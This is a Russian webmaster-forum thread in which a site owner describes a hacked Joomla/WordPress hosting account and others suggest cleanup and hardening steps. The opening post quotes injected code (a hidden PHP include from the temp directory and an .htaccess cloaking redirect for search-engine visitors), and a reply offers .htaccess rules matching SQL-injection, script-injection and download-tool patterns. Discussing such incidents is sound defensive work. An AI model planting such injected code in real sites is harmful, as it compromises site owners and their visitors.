SEO Сообщество: Спрашивайте и помогайте

Присоединяйтесь к сообществу профессиональных веб-мастеров PR-CY, отвечайте на вопросы коллег и задавайте свои.

Q&A SEO

Столкнулся с вирусами. Первый опыт. Прошу помощи.

Alexander Victorov Alexander Victorov  
0
  23.09.2016 16:08       1 088    
Всем привет!
Первый раз столкнулся с подобным, проблема не прекращается, поэтому прошу вашей помощи.

Хостинг Джино.
4 папки - один сайт работает, второй тестовый, две папки пустые.

В один день мне пришло письмо от гугла:
На сайте обнаружен взломанный контент
Ниже перечислены URL некоторых взломанных страниц. Они помогут Вам определить причину проблемы. Это неполный список.http://.ru/pzch7/%3Cfooterhttp://.ru/pzch7/Paga-Oraria-Colf-2016.html
Вот собственно во всех папках на хостинге появились эти папки PZCH7

По запросу техподдержка восстановила сайты.

Окей.

Прошло еще пару дней, смотрю, в папках появляются посторонние файлы. См. картинку:
858c0440915f5e5014745cebf90c0379.png

Вчера я сменил пароль на ФТП.

Сегодня вот обед - бац! Файлики опять появились. Не PZCH7, а именно вот такой набор.
В индекс.пхп вот такая запись:

<?php  error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?><?php  error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?>


В хтааксесс вот такая:

<IfModule mod_rewrite.c>RewriteEngine OnRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)RewriteRule ^.*$ index.php [L]</IfModule>

Собственно, вопрос: подскажите, что делать в этой ситуации? Куда копать, что искать.

Что делать?


Ответы на пост (19) Написать ответ
forsale forsale
52
23.09.2016 16:58
А движок у вас какой?
0
Alexander Victorov Alexander Victorov
0
23.09.2016 18:43
на основном сайте Джумла
На тестовом - вордпресс
0
forsale forsale
52
23.09.2016 18:47
Ну вот восстановите из бекапа, после этого уходите с джумлы на другой движок...
0
Alexander Victorov Alexander Victorov
0
23.09.2016 19:16
так я ж написал - восстановил, а через пару дней опять стали файлы появляться
0
forsale forsale
52
23.09.2016 19:24
Дак я вам тоже написал, переносите сайт с джумлы на другой движок, а то так и будет все время...
0
sharkson sharkson
82
23.09.2016 17:00
1. Восстановите бэкапы сайта и бд на ту дату, когда сайт не был взломан. Восстановление надо начинать с полного удаления сайта и бд. Затем заливка файлов сайта из архива бэкапа и экспорт бэкапа Бд.

2. Убедитесь, что на папки и файлы сайта выставлены нужные права, в которых разрешено только чтение и запись и только владельцем, выполнение не доступно, для других групп пользователей недоступно ничего.

3. Смените пароли: к админке хостера, админке сайта, к БД и к FTP. Если вы используете для FTP программу типа Filezilla отметьте в ней: "Сохранять пароль до выхода из программы", чтобы пароль не запоминался после выхода из программы.

4. Обновите CMS до актуальной версии.

5. В корневом htaccess:
- запретите доступ к файлам конфигурации
- запретите запросы к файлам, исключая запрос с GET параметром

6. Регулярно просматривайте логи сайта на предмет поиска подозрительных запросов или действий - это поможет выявить источник проблем.
2
Alexander Victorov Alexander Victorov
0
23.09.2016 18:54
Спасибо! Ответ шикарный!
Пункт 1 был сделан ТП хостинга.
Пункт 2 не делал, сейчас буду изучать.
Пункт 3: к админке хостинга, к ФТП сменил. К Админке сайта понятно как менять, а как менять к БД?
Пункт 4: Вот тут наверное самый большой затык. Читал, что Джумла может убить сайт... При обновлении...
Пункт 5: видимо, это как раз ответ ниже. Сейчас погуглю.
Пункт 6: про логи тоже не подумал, спасибо!
0
vituson vituson
2363
23.09.2016 17:31
Движок то какой? Выставьте права на папки 755, на файлы 644. В htaccess пропишите это.

Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
RewriteCond %{QUERY_STRING} (&lt;|%3C)([^s]*s)+cript.*(&gt;|%3E) [NC,OR]
RewriteCond %{query_string} concat.*\( [NC,OR]
RewriteCond %{query_string} union.*select.*\( [NC,OR]
RewriteCond %{query_string} union.*all.*select [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteCond %{REQUEST_URI} !^/index\.php
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php [L]

SetEnvIf user-agent "Indy Library" stayout=1
SetEnvIf user-agent "libwww-perl" stayout=1
SetEnvIf user-agent "Wget" stayout=1
deny from env=stayout

<IfModule mod_headers.c>
<FilesMatch "\.(js|css|xml|gz)$">
Header append Vary: Accept-Encoding
</FilesMatch>
</IfModule>

<IfModule mod_security.c>
<Files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</Files>
</IfModule>
<IfModule mod_security.c>
<Files upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</Files>
</IfModule>

<files .htaccess>
order allow,deny
deny from all
</files>
1
Alexander Victorov Alexander Victorov
0
23.09.2016 18:55
Движок на работающем сайте - Джумла
На тестовом - Вордпресс

За шаблон спасибо. Сейчас поизучаю!
0
vituson vituson
2363
23.09.2016 19:37
Этот код в Htacess не вместо того, что уже есть, а в дополнение. Блокирует sql инъекции и т.д. А вообще почитайте побольше на тему "защита .... (название движка) от хакеров".

Я не спец, но рекомендую следующие шаги кроме установки "чистых файлов движка" и восстановления бекапа:

1. установка защитных плагинов на движок.
2. редактирование файла Htacess (можете так и набрать в поиске "защита от хакеров с помощью Htaccess").
3. выставление прав на папки и файлы (можно через фтп-клиент или из панели управления хостингом). В хостинге выбрать что-то вроде "менять рекурсивно", то есть для всех файлов или папок движка.
4. всякие дополнительные фишки в виде плагинов, которые закрывают от постороннего просмотра версию движка и т.д.
5. использование последних версий движка и плагинов.
0
vituson vituson
2363
23.09.2016 19:39
Вот на Хакере про защиту и ломку WP
xakep.ru/2015/05/10/defend-wordpress-yourself
0
Alexander Victorov Alexander Victorov
0
23.09.2016 19:45
Спасибо огромное!
Хорошо что сайт связан с сезонным бизнесом и сейчас не сезон. Есть время покурить мануалы!
0
Another1313 Another1313
97
23.09.2016 19:26
Версия Джумлы?
0
Alexander Victorov Alexander Victorov
0
23.09.2016 19:46
Joomla! 3.5.1
0
limon81 limon81
29
23.09.2016 20:46
Вот ознакомтесь пост о стандартных методах защиты Джумла которые начинающий вебмастер может настроить самостоятельно http://ploxixsovetov.net/bezopasnost/31-kak-zashchitit-sajt-joomla-ot-vzloma
1
sharkson sharkson
82
23.09.2016 21:00
Пункт 3: к админке хостинга, к ФТП сменил. К Админке сайта понятно как менять, а как менять к БД?

Пароль к БД меняется через админку хостинга. В ней обязательно должна быть возможность:
создания и удаления БД, изменение имени БД\юзера и пароля.

Пункт 4: Вот тут наверное самый большой затык. Читал, что Джумла может убить сайт... При обновлении...

1. Сделайте бэкапы БД и сайта. Сохраните их на компе.
2. Обновите движок через админку сайта, следуя инструкцииям и подсказкам.
1
sharkson sharkson
82
23.09.2016 21:04
Права на папки\файлы можно выставить: 600

Как максимум: 700 но это рискованно
0
Astro Mutant Astro Mutant
49
24.09.2016 20:15
3.5.1 нужно вручную обновлять до 3.6.0, а затем уже автоматически до 3.6.2
0
NikeFIT NikeFIT
10
24.09.2016 11:11
если джумла, то лучше меняйте движек
0